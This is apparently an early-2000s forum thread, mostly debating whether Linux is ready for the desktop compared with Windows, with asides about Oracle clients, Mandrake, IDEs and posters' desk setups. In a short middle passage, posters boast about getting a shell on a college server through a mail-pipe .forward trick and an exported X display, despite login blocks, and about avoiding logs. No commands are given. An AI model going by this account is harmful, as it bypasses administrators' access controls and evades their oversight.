The only major companies I have seen really supporting Linux apps are Sun, Oracle, Red Hat, Ximian, and Caldera. The only reason why for the first two is because Microsoft makes a DBMS, OS, and office suite.

There's too much confusion over window managers, graphical environments, and the like to make commercial developers not have to deal with a support nightmare. Most of us don't have time to symlink and script our distro so that ERStudio and the Oracle Client will work. It would be an nightmare to make a commercial Linux app, especially because it would more than likely have close to a 100% piracy rate due to people not wanting to pay for Linux software.

Also, the manufactured Gnome/KDE war on Slashdot by a bunch of skript kiddiez gives people a bad impression. In the minds of many people, slashdot = the linux community.

There are very few good commercial Linux apps because people will not pay for them. Sad to say, but true.

However, people seem to be willing to pay (at least part of the time) for tools for the Windows OS (and I pay dearly due to Embarcadero and BMC software on my machine).

I use Windows for work because it has the apps I need. They have a very good IDE in Visual Studio 6.0. They have Office, and they have DB clients for every database known to man available for it. Threfore, I can do my job and don't have to spend half my time configuring my user environment. I like to be able to sit down and do work without having to code shell scripts half the time.

KDE, Gnome, E, and the rest just are not there yet for apps. I'd like to do something about it, but I also have to work 50 hours a week to get paid and have a life at the same time.

I use Linux occasionally, mainly for servers, and because it's a very good server OS. The desktop portion just is not there. It's getting there as an OS, but it doesn't have the apps that Windows does, especially for DB work. When it gets TOAD, SQL-Progammer 2001, a decent ERStudio, a software architecture package, an Oracle client that doesn't break when you look at it because the latest glibc and it hate each other, a DBArtisan that doesn't need Linux kludging, and a UNIFIED CLIPBOARD under X, then I'll consider it ready.

Until then, I'll continue to use Linux for home, web server work, and as a good firewall.

Hmm, for alot of pro stuff you have a point but i see the real battle at home desktops for now. This is why mandrake excited me, its nearly as easy to pick up as windows, all nice pretty GUIs. Comes iwht *shitloads* of apps including KOffice. SO far i've converted almsot completely 4 people, one of them used to be a msft zealot too! Eventully ill migrate them to Debian =P.

Games already have a 80% piracy rate, and the killer app I believe for Linux will be when games are simulatoiniously for both Windows and Linux. XP should help too, upgrade your graphics card and your OS dosen't work? Fuck that! If Transgamers come though with the DirectX port that will help *alot* too.

Standarisation is a huge issue i know, and really is the crux of the issue...
People will never pay for software unless they are forced to (this goes back to my previous point on another thread about digital replication and basic economic structure.

I think people will liek the way, for free they can download Mandrake, install it with a nice, easy to use GUI installer (which is something IMHO debian do need to work on) and have a working desktop, with easy config tools and all the apps you could need. Shit easy to set up net access too! The other one is the Apt-like update system, makes it very easy to keep everything up to date and get new apps (thier 'cooker' servers which are part of the update program have literally thousands of RPMs constructed for Mandrake making it very easy to get what you need). Mbpark and UNdertoad both have a point, but its getting alot closer and i really do feel Mandrake have the right idea, particualry this gaming edition. I'm really hoping they release a free version that has scripts fo grab common games off windoze partitions and set up Wine for them, that alone would help convert alot of people.

And sorry but ill give up my photoshop when they pry it out of my dead, cold hands =P

Yep, mail pipes are fun. Drove the system administrator at the college computer lab crazy, though... he was so sure he'd prevented anyone from logging in to the server. Too bad the workstations and server shared the users' home directories. And there are ways of not showing up in most of the logs, too.

If a web server is running, you can do the same trick with CGI scripts.

heh. well, i personally wasn't aware of anything beforehand that exploited that. but i'm only 20, so go figure :) it kinda dropped into my head like a ton of bricks, i tried executing one and it worked, so i was like "holy shit!" and then i spent another few minutes thinking about how i could leverage that to get a shell... then it hit me - exported X display! so... the thing i thought was cool about it was that it was totally non-destructive and relatively simple. it took some thinking to come up with it, but it's not something ridiculously complex or anything like that. and it worked perfectly.

now, if scott ever kills ssh AND ftp... :)

Linux is an OS designed by programmers, FOR programmers (and power users). If you don't like writing shells scripts, or spending a significant portion of your time at the command line, then Linux is just not for you.

Anyway, what's so good about the Visual Studio IDE? Give me a unix command line any day. Moving the mouse around and clicking on things is just not as efficient as typing it.

As for the clipboard, I don't really know what you mean. I use Enlightenment, and can cut and paste just fine between everything.


As for Word and Photoshop,I am a home user, so I don't need all those missing advanced features.

The most I would use from a word processor would be bold, underline, italics, font sizes, and spell-checking. Mostly just for essays for school.

The most I ever use Gimp for is resizing pictures for my web page (and I don't even use it for that anymore..i found a python script that resizes them and creates the html page for you. :] )

Now, if the other guy on this pages uses and loves ALL of Photoshop, then I would never advocate him "settling for less". That's just stupid. But for people who aren't using those features, it's not settling for less at all.

I can't speak for the database stuff. I know that Linux has MySQL and PostgreSQL, but I dunno how good they are.


Anyway, i'm being pulled into an IM chat now, so to sum up: linux is better, so nyah! :]

Re: And I voted no also
 

So...what's wrong with Together is client-side Java, not bloat? Fair minds could differ.

But then, I like BlueJ as a Java IDE, so I guess I'm just not tuned in to modern programming tools. Like Fluffy++, ferinstance
http://voicenet.com/~maggie/fluffy++.jpg

My experience with the Oracle client indicates that food-fights with the local C runtime isn't restricted to Linux. It's happened pretty much everywhere, especially when various OS vendors decided it was time for multithreading...memory leaks galore.

LOL....man that GUI is hilarious. Like I said -- give me a command line for programming any day.

Well, I *do* like BlueJ , and it's a GUI. But it's not so byzantine a GUI that people are whining that "client side Java is a pig" when they run it. Even though it's written in Java. I wouldn't stretch *every* programming task on to the Procrustean bed of the command line. Dhamsaic has demonstrated his commandline ninjahood with that little pipe in .forward that Perl would have tainted up the wazoo. ...and man, if you like command lines, you'd *love* APL.

let me clarify here...
 

My background before I got into Oracle development and administration was in embedded. I learned how to program on XT's using a Serial Port debugger to PLCs. That's why I've never been too big on debuggers, because I'm always using judicious print statements. Plus, I'm used to things being small. Which doesn't explain why most of my hard drive here is Oracle 9i (all 2GB of the base install plus 2GB of databases. Yikes!). I like vt100, small command lines, and shells.

However, I got used to the Visual Studio IDE after being exposed to it, Codewarrior, Forte for Java, and a few other graphical editors. It just feels a bit more intuitive for my needs than anything else I used. It's not the only IDE I use, either. The other one is SQL-Programmer 2001, and that resembles it.

Notice I didn't mention that everyone should use it :). We have more than enough people who swear by anything in a set of Pico, vi, vim, emacs, elvis, notepad, ultra-edit 32, and the rest. I respect them and let them make their choices. Personally, I use what's available, and my favorite editor is cat.

I actually use the command line quite a lot. spool on and spool off in SQLPLUS (which actually does qualify as a shell IMHO, albeit a small one without the cool features of csh, ksh, or bash) are good when I run scripts, because I don't use GUIs for running my scripts at all. Cygwin is also another favorite tool of mine.

However, I've had a lot of issues with Linux apps copying and pasting objects, not text. Other than Konquerer finally getting most of it right in KDE2.x.x, it's just not there for me to do a lot of my text work, or to drag and drop data (which I do a lot of as prelim analysis work). Interoperability for apps to do cool things like that isn't there yet, and it is mostly an app issue.

And the Oracle client...the only time I've really seen an Oracle component crap itself really bad has been with their ODBC drivers, which get clobbered the most on any Win32 system because they use MFC. 8i on Solaris needs about three hours of serious OS setup before you even TRY to install it, and let's not even get into how broken Advanced Security is during the linking phase. genclntsh and relink all are not your friends when you've got Oracle on Solaris :). JDBC can be really fun too to set up. However, their ODBC drivers are crazy. If you install anything else, chances are they'll crap themselves. The solution is to put a copy of MFC42.DLL in your ORACLE_HOME\bin directory. Worked for me after it blew out on a test machine after we installed Visual Studio 6 Service Pack 5.

Oracle got on that Java kick too. They turned Enterprise Manager into something I will never run again unless I have to. That's why I'm running DBArtisan, which lets me have all my servers at one nice console and doesn't eat all my RAM like OEM does.

However, settling on one standard (KDE :) ) for apps would make Linux more viable. It would allow all the happy things I like to do, and a shell interface for what I want. It would also allow others to have a good happy GUI that plays well.

That's Windows' main strength. I can copy and paste darn near anything and have it work. Well, too :).

My well.....
I've just decided I?m not going to Oracle. Ever. =)

Hmm, while it is dangerous I?d say Linux can be all things to all people that are the beauty of it. I mean you can install Slackware and choose not to install Glibc if you want, or you can install mandrake with a pretty GUI installer. That's my ultimate OS world, a unified base across all systems but everything else being variable. Shove Debian on the server, Mandrake on the Desktop, OSX on the Graphics box and Something cut down on the Palm and be able to port apps between them will little work. It?s this kind of widespread appeal that could get Linux the market share it needs to start being a real competitor to windows. It?s a catch 22, Linux needs more apps to get more users but needs more users to get more apps. When it hits critical mass it *will* be interesting. I?m thinking .NET is going to be a huge boost, it?s basically wipes out piracy as we know it and may help push people (particularly home users who aren't used to paying) into rethinking.

jaggy's right. we need more users to get the apps. we need more apps to get the users.

so we write apps, so that we'll get the users... so that we'll get the BIG apps...

i, personally, am a fan of diversity. i collect computers and the operating systems that make them work. i am fiendishly addicted to mac os x right now, but my true love is linux. and i want to see it succeed. i don't know why i love it so much. there's just something satisfying about plopping down in my aeron and firing up mozilla. or a gnome-terminal and work on my .bash_profile with vim (vi sucks - vim rules). or switching to the second desktop and firing up mozilla (which is getting *really* good these days) and browsing the web. and when it breaks (generally because of something silly i did), i can fix it. that's one of the things that irritates me about os x - there's this bug with the mouse sensitivity, and it keeps getting set down - well, i like it up pretty high. and i set it, quit out of "system prefs"... and it's fine... for a while. and then back to this low-ass sensitivity. drives me nuts. anyway, i can't fix that. in linux, i could. and it just *works*. i know a lot of people rag on it for being hard to set up, but man... once it's set up, it's like a rock. i have a slackware box that has an uptime in the viscinity of a year (it was 300 days a couple months ago). it sits there, doing its thing... never crashes. and that box gets stressed easily too - it's a 486/33 with 12 megs of ram. but it sits there, cranking out the clock cycles. my main box, syphon , is like a rock too. and i use it *every day*. i stress it all the time - whether i'm recompiling X or playing quake for 4 hours like i did last night. it just works.

as far as gnome vs kde... kde probably is the better user environment. that having been said, it doesn't fit me. and that's one of the things i like about linux. if i don't like it, i can change it. is this bad if our goals are understood to be "have everyone using linux on the desktop"? yes. but they're not. the goals are "make linux better." i like to have my cake and eat it too. that's why i use linux. nothing else fit quite right.

anyway. i'm rambling. and i gotta get back to work. but yeah. thanks for reading. i'll catch you g's later.

Dave man, you have an $800 Aeron to sit on, but the 'puter gets the $49 table from Staples? That's not right!

(I know because I had that same ghastly table for about a year.)

dhamsaic

me thinks u have a point. Diversity is the key but also the weakness. Its not hard to port stuff between *nix's, if everything but windows has a nix base Linux should get the critical mass to make it viable to port big apps. Ill be curious to see waht Adobe does, could OSX Photoshop be ported to linux?

Already the wide range of distros make linux sueable for people of pretty much every level. Only thing i'd majorly like to hcange is have either all .deb, or all .rpm, no arballs, no dual formats. Linux needs to be able to install and uninstall apps with windows-like ease.

(be gentle i *am* posting at 1:15am here, i hate my school)

Tony - the chair was free. The table was $15 @ Micro Center. Here's the story on that:

I moved to Virginia in February. My desks were (and still are) back in Maryland. I didn't have my first paycheck yet, so I needed a CHEAP desk to put my computer on. I walked into Micro Center, which is 3 minutes from my house, looking for this cheap desk. My dad's girlfriend has the same one, only wooden finish. She got it for $50. It looked reasonable, so I looked for it. I didn't find it, but I asked the manager. He said "I think we have one in the back." They brought that one out, and he said he'd give it to me for $30 since it was a return. I looked at it, saw it was scuffed up and the piece that holds the keyboard tray was bent a little. I said "how about $15, 'cause it's not in great shape?" and he goes "Okay." :)

The chair is "borrowed" from my dad's employer. See that 19" Sony FD Trinitron monitor there? That was free too. Same place. Look at this picture - newer shot of my desk - see that Jornada 720? Free.

Here's how: My dad is Director of Engineering at a major DC-area television station (hint: I've slept on the discussion table for the McNeil/Lehrer Newshour). He is really good friends with his boss. His boss, being a Vice President of the station, is also the boss of the Director of Computer Services. The Director of Computer Services knows this, and so he tries real hard to stay on my dad's good side. Just the other day I got a 15" flat panel NEC monitor. We also have an 800MHz PIII Presario and a HP LaserJet 8150N. And that's just off the top of my head - I'm sure there's more laying around.

Anyway, I'd like to get a better desk for it, but that one seems to work well. The only thing I really hate is that it's up too high. The keyboard is at the right level, but the mouse is too high, and it's a pain in the ass to play Q3 that way. When I have some more money (saving up for more computers - hehe), I'll get a better desk. Or build one into the wall. We'll see...

Is that bubble tape I see next to your monitor?

Yes. I can eat that shit like it's candy.

it is candy =P

No, it's GUM.

And I can EAT it like it's CANDY.

Of course, I feel sick after about 2 rolls of it...

PS - I'm writing this from my iBook, wirelessly, while sitting on the mattress out in the den area. It's going through a computer to computer network I set up with my PowerMac G4, which I set up running NAT so it would act as a router for this box. But when I plug it back into the home network, it automatically switches back to the 100 MBit connection. Neat, huh? I can post while I poop. But I won't. :)

hm....its considered candy here, you dumb americans *laughz
(joking for refrence)

hehe..it must be pretty darned good, if you buy 4 rolls at a time! :)

BTW- the wireless network thing kicks ass!